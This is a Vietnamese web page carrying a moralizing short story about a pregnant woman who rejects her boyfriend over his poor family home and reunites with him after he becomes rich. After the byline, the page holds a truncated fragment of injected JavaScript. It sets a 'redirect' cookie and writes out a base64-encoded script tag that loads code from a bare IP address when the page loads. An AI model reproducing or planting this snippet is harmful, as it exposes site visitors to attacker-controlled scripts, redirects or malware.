Trót trao thân cho bạn trai, 2 tuần sau phát hiện có bầu bèn bắt anh cưới gấp nhưng đến nhà anh thấy căn nhà cấp 4 xập xệ thì bảo: “Thôi, để em nuôi con 1…

Phải nói là em thất vọng mới đúng. Nhìn anh cũng đàng hoàng ai mà nghĩ chỉ có căn nhà cấp 4 thế này. Chí ít cũng phải có căn nhà tươm tất một xíu chứ? Thôi, để em nuôi con một mình…cưới anh rồi em càng khổ.

Ngày Liên yêu Huy đám bạn của cô ai cũng ngưỡng mộ khi 25 năm mới yêu mà Liên đã kiếm được chàng trai tuyệt vời như thế. Thú thật chính Liên cũng thấy mình may mắn, nhìn Huy tri thức lại sáng sủa nên Liên nghĩ chắc chắn bạn trai là một người giàu có. Không phải yêu cái tuổi 18 nên khi làm bạn gái Huy thì Liên đã xác định là mình sẽ lấy Huy làm chồng. Con gái mở lời trước thì xấu hổ nên Liên quyết định mới yêu dù chưa đầy 1 năm thì cô cũng kéo Huy vào nhà nghỉ dâng hiến. Vì Liên nghĩ sau khi trao thân cho bạn trai thì Huy sẽ có trách nhiệm với mình hơn.

Đêm dâng hiến đó lại đúng là đêm giao thừa, có nằm mơ Liên cũng không ngờ rằng hôm đó ân ái bạn trai lại quên dùng “bảo hộ”. Thế nên chỉ 2 tuần sau thấy mình bị trễ kinh mà người lại cứ khang khác nên Liên vội vã đi mua que thử thai. Và rồi kết quả chết sững khi cô phát hiện ra mình có thai. Ngay lập tức Liên gọi điện cho Huy mếu máo

– Em có thai với anh rồi. Phải làm sao đây…em sẽ không phá thai đâu nên anh đừng có ép.

– Ngốc ạ. Ai bắt em phá thai chứ.

– Thế anh có chịu trách nhiệm với em và con không??

– Tất nhiên rồi. Anh sẽ cưới em, ngày mai anh lập tức đưa em về quê ra mắt bố mẹ rồi xin cưới luôn. Bố mẹ anh nhắc đến có cháu nội là ông bà vui lắm.

Chỉ mong bạn trai nói có thế nên Liên vui sướng tột cùng, cô biết mình còn may mắn hơn nhiều cô gái khác khi được bạn trai chịu trách nhiệm. Ngày hôm đó ngồi trên xe về quê Huy mà Liên hồi hộp lắm không biết gia đình bạn trai như nào. Ấy thế rồi khi Huy dắt Liên đến trước căn nhà cấp 4 xập xệ thì Liên choáng váng.

– Sao anh lại dừng ở đây.

– Thì đến nơi rồi…đây là nhà anh mà em.

– Cái gì?? Nhà anh ư??

– Em kinh ngạc lắm đúng không??

– Phải nói là em thất vọng mới đúng. Nhìn anh cũng đàng hoàng ai mà nghĩ gia cảnh nghèo thế này. Chí ít cũng phải có căn nhà tươm tất một xíu chứ??

– Anh xin lỗi…anh hứa cưới về anh sẽ làm mọi thứ để em có cuộc sống sung sướng.

– Thôi khỏi, để em nuôi con 1 mình đi. Thà em làm mẹ đơn thân chứ cưới về khổ thì sớm muộn rồi chia tay. Em không bắt anh chịu trách nhiệm đâu.

Nói rồi Liên bắt xe về lại thành phố ngay, sau đó Huy chỉ nhắn một tin rằng hãy đợi anh. Liên cũng không buồn trả lời lại vì cô biết Huy không bao giờ thoát nghèo được, biết rõ làm mẹ đơn thân sẽ rất khổ nhưng Liên chẳng còn cách nào khác cả. Có trách thì trách cô dại mà thôi…

Liên vẫn nghĩ không bắt Huy chịu trách nhiệm nhưng chí ít ra ngày cô sinh nở Huy cũng phải đến thăm. Vậy nhưng suốt thời gian cô sinh con rồi vất vả nuôi con mà chẳng thấy bóng dáng của Huy đâu cả. Cứ thế 4 năm trôi qua, thế rồi ngày hôm đó khi đi làm về thì Liên thấy có chiếc ô tô đậu trước cửa phòng trọ mình. Và rồi cô chết đứng khi người bước ra đó chính là Huy.

( ảnh minh họa )

– Hai mẹ con lên xe đi, anh chở đi ăn nhà hàng.

– Anh…sao có thể. Có phải em đang nằm mơ không??

– Là thật đấy…

– 4 năm qua anh đã đi đâu hả??

– 4 năm qua anh xin lỗi…em vất vả nhiều rồi. Anh luôn nhớ em và con…nhưng vì muốn phấn đấu sự nghiệp nên anh phải ra đi để lập nghiệp. Giờ đây anh đã là phó tổng rồi, anh góp vốn xây dựng công ty của mình. Giờ em gật đầu cưới anh chứ?? Xin hãy để cho anh được chịu trách nhiệm với em và con.

– Anh không hận em sao?? Năm đó em chê anh nghèo…sao anh không hận.

– Hận ư?? Anh hiểu vì sao em nói vậy nên anh không hận. Em mang bầu lại cưới 1 thằng nghèo như anh thì đúng là khổ. Cũng nhờ câu nói của em năm đó nên anh mới cố gắng làm ăn có được như ngày hôm nay đấy.

Liên lao đến ôm chặt Huy, ngày hôm đó đứa con trai của hai người đã có đầy đủ cả bố lẫn mẹ nên vui sướng lắm. Thế mới nói không phải người đàn bà nào chê bạn nghèo là cô ấy đều xấu xa. Mà ngược lại thì bạn phải cảm ơn cô ấy vì nhờ cô ấy mà bạn mới thành công được.

An Vy / Thể thao Xã hội

#(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.